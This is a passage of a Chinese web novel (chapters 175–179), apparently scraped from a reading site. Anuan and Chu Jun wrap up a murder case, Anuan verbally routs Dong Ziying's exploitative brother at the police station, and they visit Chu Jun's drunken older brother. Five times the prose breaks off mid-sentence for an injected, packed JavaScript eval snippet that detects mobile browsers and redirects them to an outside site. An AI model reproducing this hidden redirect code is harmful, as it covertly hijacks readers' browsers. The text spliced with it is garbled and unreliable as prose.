外面客厅有声音,楚隽已经起来了,安暖开门,看见他正从厨房里拿了盘子出来,里面有几块鸡蛋饼。 “这么早就起来了?”楚隽一抬头:“既然起来了,就来吃早饭。” “好。” 看得出来楚隽不是熟手,鸡蛋饼煎得有点厚薄不均匀,但是鸡蛋放得挺多的,整个饼黄橙橙的。 “还以为你会多睡会儿。”楚隽说:“我一会儿要去单位,你要跟我一起去吗?” 安暖直接用手捏了一块饼,啃了一口。 “去。”安暖说:“胥博宇被抓了,今天要审了吧。你今天休假可以结束了吗?” “可以了。” “那我去图书室看书,要是有什么新的进展,也可以随时知道。胥博宇只是一把刀,就算他杀我是因为突然兴起。他杀梁柔总是有原因的。还有鄂嘉荣,也不知道他的行踪查到没有。” “好,那你跟我一起去。” 楚隽从冰箱里拿出盒牛奶,一人倒上一杯。 牛奶在这个年代也还是稀罕物,小地方根本没有。安暖在来京市前,总共也没喝过几回,之前楚隽还一度担心她喝不习惯。 但好在安暖适应力非常强,不管是牛奶还是咖啡,都接受得非常丝滑。除了特别喜欢可乐之外,只有在喝咖啡的时候感慨过一句,真是比命还要苦。 正好今天有点困,安暖出门前就用保温杯冲了一杯咖啡带着。 “真是比命还苦。”安暖照例感慨了一句,喝了一口尝尝味儿,眉头皱的能夹死一只苍蝇。 “苦还喝?”楚隽凑过来喝一口:“你加点糖,加点奶,就不苦了。” “不行,会长胖。”安暖坚定地拧上盖子:“吃得苦中苦,方为人上人。” 虽然有点怪怪的,不过这么说也行吧。 最近车坏的有点快,两人干脆走去上班。 “对了。”安暖看着外面车来车往想起来了:“我昨天把王经理的车撞了,是不是要赔不少钱?” 楚隽不太在意:“那车总共就没多少钱,再说坏的也不厉害,赔不了多少钱。不用放在心上。” 楚隽说不用放在心上,安暖就没多想了。 昨晚她可是见义勇为,配合警方。就算没有楚隽,这钱公家也应该报销的。 安暖想着案子,进了图书室。 “周叔。”安暖打招呼:“好几天不见。” “可不是好几天没来了。”周念川看见安暖挺高兴:“小安,这下你出名了?” 安暖好奇的很:“怎么了?我怎么出名了?” “我都知道了,昨晚上那个**胥博宇,是你抓的。” 安暖很意外。 “怎么会这么说?” 周念川哈哈一笑:“你还不知道吧,昨晚上你开车撞胥博宇的车逼停他,这事情大家都知道了。两辆车都拖回来了,车头都撞烂了。局里车技最好的大刘去转了一圈,说特别佩服你。一个摸车不到十天的女同志,关键时候竟然有这种勇气,太叫人震惊了。” 安暖万万没想到,好事传千里,这传得也有些快了吧。 不可能是楚隽说的,只能是江笑愚了。 倒是看不出来,江笑愚有这么强大的传播能力。 周年川是真心实意的夸安暖,夸得安暖都不好意思了。 “周叔,我哪有那么厉害,昨天就是一时心急罢了。”安暖谦虚道:“不过我有个好消息要告诉你。” 周念川很感兴趣:“什么消息?” “我已经通过初一初二的考试了,现在跟着初三考试。年底就能拿初中毕业证。过完年就能上高中,只要顺利,半年就能拿到高中毕业证。” 只要考试顺利,就能一路披荆斩棘。 安暖坚信自己都没问题。 虽然做不到一路满分,但及格过关是一点问题都没有的,这一点她有绝对的信心。 周念川一听,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551104|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她高兴。 “正好,跟你说个事情。” “什么事情?” 周念川说:“我听到消息,咱们局里过完年要招几名刑事技术员,基本和往常一样,对学历的要求是高中。虽然你的高中文凭可能来不及拿,但是如果技术过硬,这个要求是可以放宽的。你有能力,有胆识,有技术,我还是那句话,你天生就是这一行的佼佼者,错过一年,就是警局一年的损失。” 安暖一听,十分高兴,连连点头。 其他事情都不比这个消息让人高兴。 她如今日日跟着楚隽来上班,终归是名不正言不顺。时间短还行,时间长了,总会有人说闲话的。 “太好了。”安暖说:“我到时候一定要争取一下。周叔,这段时间还得麻烦你,我还有 很多搞不明白的地方。” 这是时代的差距和眼泪。 周念川也很高兴。 他觉得安暖很不容易。 昨天还被**追杀送花呢,今天人抓到了,就一点儿心理负担没有的全心投入学习中。 别的不说,就这心理素质,就是万中无一的。 中午,楚隽过来找吃饭,三个人一起去了食堂。 打了饭坐下,安暖迫不及待道:“怎么样了?” 她不怕问,楚隽会自己分辨哪些能说哪些不能说,不能说的,她也不会追问,楚隽自然会保密。 “已经找到鄂嘉荣了。”楚隽道。 “在哪里?” “一家私立医院。” “他身体果然出问题了?” “对。”楚隽说了一个很复杂的疾病的名字:“基本上治不好了,虽然他一直在遮掩,但是已经病入膏肓,大概还有三个月的寿命。” “那人是他让胥博宇杀的吗?” “是,哦,你不是。”楚隽道:“梁柔是他让胥博宇杀的,你不是。胥博宇缠上你,就是因为那天在落日酒吧看见你了……他是鄂嘉荣一直养着的人,知道鄂嘉荣病了,快不行了。本来是打算鄂嘉荣死后,就离开京市的。他的计划里,是带着你一起离开。” 第175章 最糟糕的后续 “他怎么想的?”安暖目瞪口呆:“为什么觉得能带走我?” “大概就像是你说的,有点蠢。” 安暖在这案子里不是外人,周念川也不是,楚隽也不用对谁保密,几句话的,就把事情说清楚了。 “鄂家在京市有不少产业,黑白都有涉猎,家产颇丰。他们家只有兄弟俩,一直是鄂嘉荣管理着家里的生意,养着弟弟。但自从知道自己得了绝症后,他又没有儿子,就想要培养弟弟,免得他死后,家产旁落。” 想得还挺周到。 “鄂平成虽然是花花公子,但之前身边的女人都是逢场作戏,鄂嘉荣一点儿都不担心。一直到梁柔的出现。” “鄂平成对梁柔非常认真,使了手段终于追到手之后,真的收了心,就想和梁柔好好的过日子。本来,他还存着跟哥哥争一争的心,但后来,就想做点正经事情了。那鄂家的生意,就没有人打理了。因为他知道,自己不洗白出来,和鄂家划清界限,梁家是绝对不可能接纳他的。所以鄂嘉荣出手了。” 安暖这才听明白。 这就是清君侧啊。 “原来是这样。”安暖道:“鄂嘉荣让胥博宇杀了梁柔,是想让鄂平成收心回去继承家业。” “是,他给了胥博宇一大笔钱,又冒充鄂平成的身份半夜把梁柔从家里骗了出来。胥博宇本来打算杀了梁柔之后就离开,谁知道看到了你……就拖延了几天。” 胥博宇是鄂嘉荣藏的最深的一颗棋,关键时刻救命用的。 现在,用了。 如果胥博宇不是那么自信,没对安暖有不该有的心思,杀了梁柔后立刻离开。以现在的技术,确实很难再找到他。 他手上有足够的钱,甚至可以偷渡出国,一辈子都不再回来。 安暖感慨道:“所以说,当时在落日酒吧,我那一酒瓶,留下了一个**啊。” 这因果关系,谁能想到呢。 “是。”楚隽说:“胥博宇过分自信了,也可能实在憋得很了,心里有很多话找不到人说。他见梁柔必死无疑了,就难免想要多倾诉几句。没想到梁柔没有立刻就死,临死之前,碰上了路过的人,说出了你的名字。” 庆幸的是,梁柔说出了关键词。 遗憾的是,梁柔只来得及说出关键词,没有能说出更多。 一顿饭吃得精彩得很。 鄂嘉荣指使**,但他已经不能离开病房。楚隽派了人过去确认这一情况。 还有两三个月寿命,抓回来也没有用了, 都等不到这案子判刑。但是肯定也不能这么算了,主谋就是主谋,该怎么判,还是要怎么判。 胥博宇手上可不止有梁柔一条人命,就在昨天晚上,幸亏楚隽他们发现的及时,江笑愚带人守在了川菜馆服务员蒋源家门口,要不然的话,他就打算**灭口了。 杀过一个人的人,再杀一个,就一点心理负担都没有了。 楚隽感慨道:“该死的都要死,不过鄂平成怪可怜的。他今天早上知道这消息后,整个人都崩溃了。” 哥哥杀了自己最喜欢的女人。 鄂平成这种情况,感觉只有出家可以破了。 吃完饭,楚隽还有各种收尾善后写报告,安暖回图书室的时候,听着外面有人在闹。 这也不稀奇。 刑警队虽然处理的都是大案子,但**局可不是只有大案子能来,人民群众的事情都要处理,什么偷鸡摸狗的,婆媳吵架的,喝酒斗殴的,每天都热热闹闹的,烟火气息特别重。 大部分时候,安暖都没兴趣,因为见多了。 但见识的再多,也抵不过人民群众的丰富多样性,还是有一些出类拔萃的事件,叫人叹为观止。 食堂在院子一个单独的二层小楼里,从食堂回图书室,要经过广场院子,也就是经过大门口。 安暖就这么随意看了一眼。 她看见有人在大门口举着一张大字报。 这年代不兴拉横幅,有事儿都是写大字报,效果差不多。 她的视力很好,虽然离得挺远,还是隐约看见一些熟悉的字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551105|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,不孝,弑母之类……安暖心里突然咯噔了一下。 再仔细一听,七大姑八大姨的声音里,提到了董紫莺的名字。 安暖停下脚步。 “楚隽。”安暖说:“这不是董法医家里人来闹了吧?” 董紫莺还有一个在老家的弟弟,年纪不小还没结婚。上一次她父母千里迢迢过来,就是想把她嫁出去,得一笔彩礼钱,给儿子娶媳妇。 不过没有得逞。 那事情在董紫莺的坚持下,她父母和买方一干人都被抓了起来。虽然还没有最后判决,但是安暖也听说了,不出意外,都要判刑。 非法囚禁,故意伤害,等等等等,他们的行为简直是踩着法律蹦迪,现在又是严打期间,对拐卖妇女这一块抓的特别严,只要董紫莺不接受和解,不签谅解书,不说牢底坐穿,十年八年是跑不了了。 他们刚才来吃饭的时候,门口还没有这群人。 应该是刚来的。 在**局大门口闹成这样,成何体统。 安暖停下看了一下。 上一次**局门口被这么多人围着,还是梁柔被害的时候,围着的是鄂平成的人。 当时很快就驱散了。 这一次不一样,这一次更难办。 安暖很快在人群中捕捉到一个男人,和董紫莺有三分象,穿着打扮和梁柔父母差不多,应该是从老家来的弟弟。 其他的六七个人,是一群老太太。 都是六七十岁的样子,颤颤巍巍的,坐在地上,一边拍着大腿,一边哭诉。 之前他们聊董紫莺的时候,说起最叫人担心的后续,终于还是发生了。 这种一把年纪的老人家,谁见了都怕。 她们打不得骂不得,抓起来不但要管饭,说不定还要管医药费。别人寻衅滋事可以关上三个月,她们,关不了三天就得送医院。 楚隽表情也凝重起来。 不孝的名声,在这个年代是可以毁了一个人的。 而这其中是否有多少隐情,又有几个人会寻根问底。 第176章 不爱我为什么要生下我 **局门口是个严肃的地方不可能由着一群人哭爹喊娘影响不好。 董紫莺听着消息匆忙从办公室赶过来的时候门口**的人都已经被请到了接待室里。 分开对待。 董紫莺的弟弟董卫华在一个接待室其他老太太在另一个接待室。 安暖其实没有那么八卦 董紫莺被救回来之后休息了两天就正常上班了。 上班之后便请安暖吃了一顿饭。 就在单位门口的饭店里。 而且这顿饭董紫莺只请了安暖一个人还是楚隽害怕她们会吵起来强行参加的。 两个姑娘都很无语但楚隽不请自来她们也没有办法。 饭吃着吃着难免就聊起董紫莺下一步怎么办? 她现在虽然上班的时候表现得还是很镇定但明眼人都能看出来她六神无主。这事情还没有完。 远远的离开是最好的但无论是调动还是出国那都不是说走就走的都需要各种手续各种申请还不是肯定能办下来。 当安暖就问董紫莺:“有没有什么打算。” 董紫莺和安暖之间谈不上有矛盾。只是基于共同爱好有一点得失取舍罢了。那日董紫莺表白失败后是提心吊胆了一阵子的但见安暖没有任何针对表示也没有什么风言风语慢慢就放了心。 这事情她不占理。 开始有点不好意思后来就是许多感激了。 “暂时也没有特别明确的打算。”董紫莺叹了口气:“这工作我不能丢家里……只能兵来将挡水来土掩了。” 董紫莺家里不是只剩下弟弟董卫华一个亲戚但是千里迢迢的路程会那么远找来京市的只有他一个。 这个年代出一趟远门不容易又要耽误自己家的活儿又要路费住宿费什么的除非特别硬的关系要不然的话别人可不愿意陪你。 “你这样想就好。”安暖当时就安慰董紫莺:“你听过这么一句话么。” “什么?” “无爱可破情局无情可破全局。”安暖正色说:“亲情也是情父母兄弟的爱也是爱。在家庭关系里谁无情谁就赢。你在京市上大学又上班没有十年也有六年了吧。不说根基深厚至少熟门熟路。你弟弟人生地不熟两眼摸黑他就算从老家过来找你麻烦只要你不动摇他又能怎么样?” 就用最傻的办法,硬耗。 董卫华有多少钱,多少时间,能耗得过董紫莺? 反正那顿饭,楚隽没说几句话,全程都是董紫莺和安暖在交流沟通。 安暖给董紫莺出了一些,警察未必会出,但应该挺管用的提议。打开了董紫莺通往新世界的大门。 今天,也算是心里的石头终于落了地。 董卫华找来了。 但是这不对劲。 董紫莺匆忙的过来了,看见站在一旁的安暖,扯出一个很难看的笑。 “别慌。”安暖低声道:“兵来将挡,水来土掩。记得咱们说好的两个重点原则。” 董紫莺使劲儿点头。 两个重点就是。 第一不吃亏,第二不要脸。 安暖当时就是这么指点董紫莺的。 这个年代的人道德素质两极分化很严重,有特别不要脸的一批,比如说董紫莺的父母,他们心里只有自己的利益,为了这个,什么事情都做得出来。 剩下的,就是特别要脸的,淳朴的大众。 比如董紫莺这种性格高傲的人,很多时候拉不下脸,需要人指点迷津。 董卫华坐在接待室里,他心里是有点害怕的,但是想到这件事情上可以得到的好处,想到还在牢里的父母,就鼓起了勇气。 董紫莺走了进去,在董卫华对面坐下。 “你怎么来了?” 董紫莺沉下脸。 首先别心虚。 自己要是都觉得自己不占理,那就说不清了。 董卫华一拍桌子站了起来。 “董紫莺,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551106|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思问我?”董卫华怒道:“你这个白眼狼,自以为上过几天学,就无法无天,没脸没皮。你竟然敢把爸妈送进去,书都读到狗肚子里去了。” 董紫莺也一拍桌子。 “你还有脸说,我这些年上学,家里给过一分钱吗?我每年考一百分,但是妈说,女孩子读书没用,应该早点嫁人换彩礼。你呢,年年爬起来十几分,爸妈却砸锅卖铁地要让你上学。董卫华,好处你都占尽了,你有什么资格说我!” 这话有良心的人听着都会内疚不安。 但董卫华肯定不会。 他一听董紫莺这话,觉得这不是理所当然的吗? “你一个女娃,读那么多书干什么?娘说得对,女儿读再多书也是赔钱货。要不是你书读的多,能把自己爸妈送牢里去?村里人听说了这件事情,现在整个村子都在笑话我们。董紫莺,你现在立刻去把爸妈接回来,把这工作辞了,跟我们回老家嫁人……你都多大了,三十岁的老姑娘,到现在嫁不出去,也不怕被人笑话!” 董卫华虽然年纪不大,但是生长在那样的环境里,他的思维和父母没有什么区别。 在他心里,姐姐根本不是人,只是家里一棵摇钱树罢了。要尽可能地从她身上榨出更多的价值,这就是董紫莺全部的意义。 整个接待室里,都能听见董卫华的吼声。 董紫莺已经竭力忍耐,但还是气得浑身发抖。 “凭什么,凭什么?”董紫莺的声音带着哭声:“你是人,我也是人。我那么努力,就因为是女儿,我就不配被当做人看吗?既然不喜欢我,为什么要生下我……” 董紫莺从泥泞里挣扎出来,从懂事起,一直到离开家乡,她的整个童年只有痛苦。 原生家庭的苦,成了她半生都没有治愈的痛。 这短短的日子,董紫莺瘦了许多,心里有太多的苦,无处诉说。 虽然她已经努力的想要爬出来,但却还有人在下面拽着她的腿,不停地往下拽。 第177章 能说多说 安暖在门口听了一阵子越听火气越大接待室里面也不是没有工作人员但是总觉得说的有些不在电点子上。 安暖深深地吸了一口气推门就进去了。 董紫莺抹着眼泪虽然努力让自己冷静让自己坚强但人到了有些时候根本就忍不住。 多少年积攒下的委屈心酸就像是一把刀一刀一刀地扎在心里扎得千疮百孔鲜血淋漓。 接待室里有调解员但他说的那些也都是大众认知里的理论对董卫华根本不痛不痒。 调解员也是有编制的不能乱说话不能骂人。虽然现在他心里恨不得把董卫华揍一顿可却也要忍着忍的心梗。 上辈子安暖也见过这样忍的心梗的时刻但这辈子她不用忍的那么痛苦。 她还没有编制没有入职呢自己的定位就是在大街上路见不平拔刀相助的热心肠大姐。 看见有人进来里面的几个人都愣了一下一起看安暖。 安暖走过去便扶住了董紫莺。 “安暖……” 董紫莺的声音有些嘶哑有气无力。 那是来自灵魂深处的疲惫和绝望。 安暖使劲儿把董紫莺往下一按坐下然后说:“董法医这就是你们家那个废物弟弟啊。” 董卫华一愣:“你是什么人?” “我是董法医的朋友。”安暖说:“之前就听说你是个废物今天见面一看果然长的就是一张废物脸。” 董卫华怒道:“你说什么你凭什么骂你?” “骂你怎么了我骂的难道不对吗?男人活到你这岁数半截子入土了娶媳妇的钱都攒不到还要跟吸血鬼一样吸姐姐的血。你爸妈怎么能养出你这么丢人现眼的人?上学的时候跟文盲似的学不明白不上学了跟流氓似的也活不明白就跟生下来孩子扔了把**养大了一样脑子里一半是水泥一半是水一晃脑袋一脑子都是浆糊!” 董卫华深深的吸了一口气。 他今年也不过二十五岁 安暖说这些话一口气顺畅的啊一个停顿都没有口齿清晰吐字清楚抑扬顿挫就跟对着稿子读的一样。 “我看你的面相就知道你是不孕不育子孙满堂。不过这样也好免得大废物生一个小废物活着浪费国家的粮食**浪费国家的墓地。” 董卫华脸都绿了。 “你为什么骂人我要投诉你!”董卫 华这会儿脑子还挺好使。 “笑话。”安暖光脚的不怕穿鞋的:“我又没工作,你去哪儿投诉我。你爸妈**你姐姐,肯定是你教唆的,要我看不但他们要抓起来,你也要抓起来,而且你是主谋,要重判。十年二十年不嫌少,无期**不嫌多。” 教唆不教唆不知道,但肯定知情。 “还有隔壁那群老太太。”安暖冷笑一声:“你雇来的吧?” 董卫华的脸色明显的变了一下。 “什么雇来的,那是他们听了董紫莺做的缺德事,打抱不平。” “拉倒吧,这蠢话你自己信吗?”安暖说:“她们都已经招了,就是你雇来的。你雇人在**局门口聚众攻击公职人员,这可是犯法你知道吗?现在是严打,你这聚众滋事,寻衅斗殴,要是给你抓个典型,说不定走得比你爸妈还快。” 董卫华的脸刚才是绿的,现在又白了。 其实安暖也没去隔壁听,根本不知道啥,但她能确定,那些人肯定是雇来的。 董家条件那么差,一个人来京市的路费住宿费就已经很肉痛了,根本就不可能带七大姑八大姨一起来。也不可能有钱在本地雇人造势。 既没有这个钱,也没这个脑子。 “你也没钱雇这些人。”安暖凉飕飕地说:“你这个二傻子,有人教唆你,被人当了枪使吧?也是,你一直在山里生活,也不知道外面的世界险恶。你这种大脑小脑一共称不出一两重的人,最好利用了,利用完了往牢里一塞,然后套麻袋打死,永绝后患。” 安暖真真假假,一套一套,说得董卫华心里七上八下的。 “不过没事儿啊。”安暖说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551107|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董法医心善,到时候逢年过节给你们多烧点纸,也算是血浓于水,不离不弃了。” 董紫莺本来是很伤心的,但是听安暖这一通胡扯,伤心的心情都被分散了。 平时看安暖也不是个爱说话的人,没想到这张嘴叭叭叭的,可真能说啊。一套一套顺畅无比,都不用思考的。怪不得周念川说安暖说个天生的刑侦高手呢? 搞刑侦的,都是逻辑清晰,思维缜密,言语犀利,一说一个不吱声。 以后安暖和楚隽结婚了,两人要是闹矛盾吵架了,楚隽肯定半点便宜都占不到。一开口就能被怼出二里地去。 董紫莺正想着呢,安暖给了她一个眼神。 先撤,你不要和他正面对抗。 你没有她那么不要脸,吵不赢的。 门被人敲响了,隔壁进行询问的警员走了过来。 “她们已经承认了,是你一人给了一块钱,让她们过来**的。”警员说:“董卫华,现在需要你配合调查。” 安暖拽着董紫莺就走了。 出了门才看见楚隽就站在门口,靠在墙边。 虽然没进去,但显然听了全场。 楚隽看她的眼神,十分复杂。 安暖想了想刚才自己说的那些话,对楚隽微微一笑。 “姐,姐……”董卫华的声音从身后传来:“你快给我解释解释,你不能不管我……我是你唯一的弟弟……” 这声音都有些变调了。 说到底,从大山深处的村子出来的人,一辈子没有出过门,没见过世面的人,对外界本该有各种恐怖的猜测。这才是正常现象。 安暖这种,丝滑融入,一切都那么适应的,才是奇怪的现象。 出了接待室,董紫莺觉得有些不好意思,她握着安暖的手。 “安暖,谢谢你。” “别客气。”安暖说:“回去休息一下吧,别想太多。最难的一步都走过来了,后面只会越来越好的。” 董紫莺现在的状态,实在是不好。 第178章 我只是心疼 “好。”董紫莺低声应着。 因为她是从山里出来的刚到京市的时候强烈地察觉到自己和这个城市的格格不入。所以她格外注意形象衣着打扮都很注意。 这是从骨子里的自卑 这一点和安暖是完全不一样的。 安暖是可以穿着别人看着都觉得土的一身衣服鞋子坦然出入酒吧这样时尚场所的人。就连楚隽也不得不承认她的心理强大得可怕。 祁雨诗也在一旁等着见董紫莺出来了也安慰了几句扶她先回办公室休息一下。 牵扯了家庭关系的矛盾往往是最难处理的。这事情没有那么简单结束。 安暖咳了两声感觉刚才一口气说多了嗓子有点干。 骂人也是体力活儿呢! 楚隽适时的递过水杯。 “嗯。”安暖接过来喝了一口:“谢谢。” “走吧这边有人会处理。” 这种**矛盾到不了刑警队除非一环套一环能查出给钱让董卫华雇人的那个人另有目的。 “好。” 安暖跟着楚隽回了办公室。 安暖觉得她继昨晚上开车撞**驿站成名之后今天恐怕又要成名了。 那接待室可不太隔音外面听里面说话听得清清楚楚的。刚才出来外面可站了不少人。 进了楚隽办公室安暖往沙发上一摊捂住脑门。 “楚隽我今天是不是给你丢人了?” 楚隽在局里的形象是冷酷严肃这一类的跟她可不一样。 “为什么会这么说?”楚隽从抽屉里拿出一颗糖来:“吃个糖润润喉。” 安暖也不接就张开嘴。 “啊……” 楚隽神色暗了一下。 他慢条斯理剥开糖纸犹豫了一下做了一个把糖往自己嘴里送的动作。 瞧着小气样子一颗糖都不愿意喂。 安暖没想完呢楚隽又改了主意将糖送到她嘴边。 啊呜安暖一口将糖含了进去。 也不知道为什么总觉得楚隽的神情有点遗憾。 谈了恋爱的男人也是心思多得很叫人难以琢磨。 “怎么样这糖味道好吗?” “挺好的橘子味的我喜欢。” 安暖腮帮子鼓出来一块楚隽忍不住上手轻轻戳了一下。 “喜欢下次还给你买。”楚隽说: “这糖还有好几种水果口味下次每样都买一点来。” “好。” 物质富足的情况下感情会更甜蜜。 “哦说正事。”安暖说:“今天的事情是我冲动了。但我当时确实有点忍不住会不会给你带来麻烦?” 楚隽可是刑警队长虽然自己没有职位但是他带来的家属不会给他惹麻烦带来不好影响吧? “不会你放心。”楚隽说:“我只是很意外你会为了董紫莺这么激动这么帮她出头。” 要是祁雨诗干这事情那能理解可是安暖和董紫莺之间的关系并没有那么亲厚。 “我这么说其实跟董紫莺没有关系。”安暖叹了口气:“你不知道在这个年代生活在重男轻女的家庭里的女孩子活着有多么难。我没有那么大的能力不能拯救所有人但既然发生在身边我是真的心疼她。” 或者说安暖心疼的不是董紫莺而是这样的一个群体。 痛苦又努力的人她们看似坚强其实随时在崩溃边缘。 “能力范围内我能扶一把就会扶一把。”安暖正色说:“不然的话我会良心不安。” 楚隽点了点头。 他一直知道 善良若不够锋利就会容易受伤。 但锋利却不善良就会成为伤人的凶器。 安暖叹了一口气:“有句话说不幸的童年要用一生治愈幸福的童年可以治愈一生。希望董紫莺能尽快走出来。” “放心吧她一定可以的。”楚隽说:“对了你大概不知道我哥最近和董法医联系的挺勤的。” 安暖一听来了兴趣。 “你哥终于想开了吗?” 现在是最好的时候啊。 人家英雄救美还要找寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551108|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找机会这是机会就在眼前了要是不能把握那真是活该打光棍。 “我哥他……”楚隽艰难地为翟琛说了一句好话:“他在感情方面可能有点迟钝但也不是傻。我后来又跟他谈过一回他应该开窍了吧?” “那你赶紧给他打电话。”安暖一下子坐直了:“今天发生了这样的事情董紫莺正是需要安慰的时候。这个时候有人安慰几句一句能抵十句。” 人在脆弱柔软的时候格外容易被攻陷。 楚隽觉得也是啊虽然翟琛的工作很重要但是追心上人这件事情也很重要。 自 己在这里上班,和董紫莺近水楼台,能得到一手消息。要是连这点消息都不能及时告诉翟琛,那是真有点对不起兄弟了。 楚隽立刻就给翟琛的办公室打了电话过去。 安暖连忙凑过耳朵去听。 接电话的是翟琛的助理。 翟琛不在。 不在也很正常。 楚隽说:“我哥回来之后,让他给我打个电话,我有事情跟他说。” “好的。”助理说:“只是……” “怎么了?” “没事。”助理说:“我知道了,我一定转告。” 楚隽听着就觉得有点不对劲了,这是有什么情况,支支吾吾不能说吗? 楚隽立刻就道:“是不是出什么事了?” 这可是血浓于水的大哥,要是出了事,可是要第一时间关心,帮忙一起处理的。 这几天因为梁柔的事情,他也没敢回家,没敢多联系,生怕说多有错,让老爷子察觉出什么担心了。 助理在那边叹了一口气。 “翟总喝多了。”助理说:“可能要晚上才醒。” 楚隽一听更不对了:“他为什么喝酒?出什么事情了?” 翟琛不是一个爱喝酒的人,这大白天在公司里,为什么会喝酒? “我也不太清楚。”助理说:“但是这两天翟总一直都在公司里,情绪非常不好。问他出了什么事情,他也不说。” 第179章 喝多了 “行,我知道了。楚隽挂了电话,想了想,给老宅打了个电话过去。 他要打听一下,翟琛是不是出了什么事情。 电话很快通了。 “王姨,我哥最近回来没有? “阿琛啊,他前天回来了一趟。但是没有过夜,吃了晚饭之后,在书房里和翟哥聊了一会儿。又和楚姐聊了一会儿,然后就走了。 王姨在翟家有年头了,年纪比楚隽父母稍微小一点。 翟老爷子是绝对不允许家里有老爷夫人这样的称呼的,大家都是平等的,保姆也是一个工作。付出劳动,收获报酬,人人平等。 因此王姨刚到时候称呼楚隽父母,便是翟哥楚姐。当时楚隽翟琛还小,便跟着一起喊小名。 “有闹什么不愉快吗?他走的时候,心情如何? “这……大少爷走的时候挺晚了,我也没注意。并没有听见他们吵架,不过这两日楚姐心情似乎是不太好,阿琛也没有再回来过。 “好的,我知道了。 楚隽挂了电话。 “看样子真是有什么事情。楚隽说:“暖暖,今天我们回老宅一趟。 “好。 楚隽又想了想:“还是先去找大哥。先问清楚是怎么回事,能自己解决,还是自己解决。有些事情一旦闹到爸妈那边,就没有转圜余地了。 之所以没有告诉他,可见这不是一件需要大家商量的事情。 而是一件,父母已经做了决定的事情。 安暖对翟家的了解是有限的,当然不反对。楚隽要怎么安排,都支持他。 董卫华今天虽然在大门口轰轰烈烈地闹了一场,但被放进来就有点怂了,被安暖骂了一通之后,更怂了,如今这事情还在处理中。 安暖也没有特意去追问事情的进展,这事情也瞒不住,好事不出门,坏事传千里。不过现在的**多淳朴,又都是一个单位的,大家就算是议论,也都是为董紫莺打抱不平。哪怕谁有其他的心思,也不会说出来。 等到下班,楚隽又打电话去了翟琛的公司。 这回是翟琛自己接的电话,不过声音很含糊。 “阿隽啊。 “见面说。楚隽道:“晚上我来找你吃饭。 “行……翟琛捂着脑袋:“正好过来陪我喝两杯。 “好。 放了电话,两人出门。 安暖还是第一次进翟琛的办公室 ,进去就差一点被熏出来。 她伸手捂住鼻子。 烟味和酒味,掺杂在一起成了一种叫人窒息的味道。 楚隽也用手在鼻子前面扇了扇:“这是抽了多少烟? 楚隽赶紧进去,将门开到最大,又把窗子打开散散味。 天色已经有些昏暗了,屋子里没有开灯,昏暗中,翟琛从沙发上爬起来。 楚隽将灯打开。 翟琛晃了晃站稳:“阿隽,你来了。 “哥,你怎么搞成这个样子?楚隽连忙一把扶住翟琛,让他慢慢坐下。 安暖也走了进来。 看见安暖,翟琛愣了一下,这才道:“小安也来了,我这……有点乱。你等一下,我去收拾一下。 办公室里面有个卧室,翟琛要是工作忙的时候,经常会睡在办公室。 在弟弟面前,怎么邋遢都无所谓。 但是在未来的弟媳面前,他多少还是要有点形象的。 翟琛进了卧室,里面响起水声。 办公室里乱糟糟的,又是烟头,又是空酒瓶。楚隽认命地开始收拾。 过了一会儿,翟琛出来了,头发湿漉漉的,看来刚抹了一把。 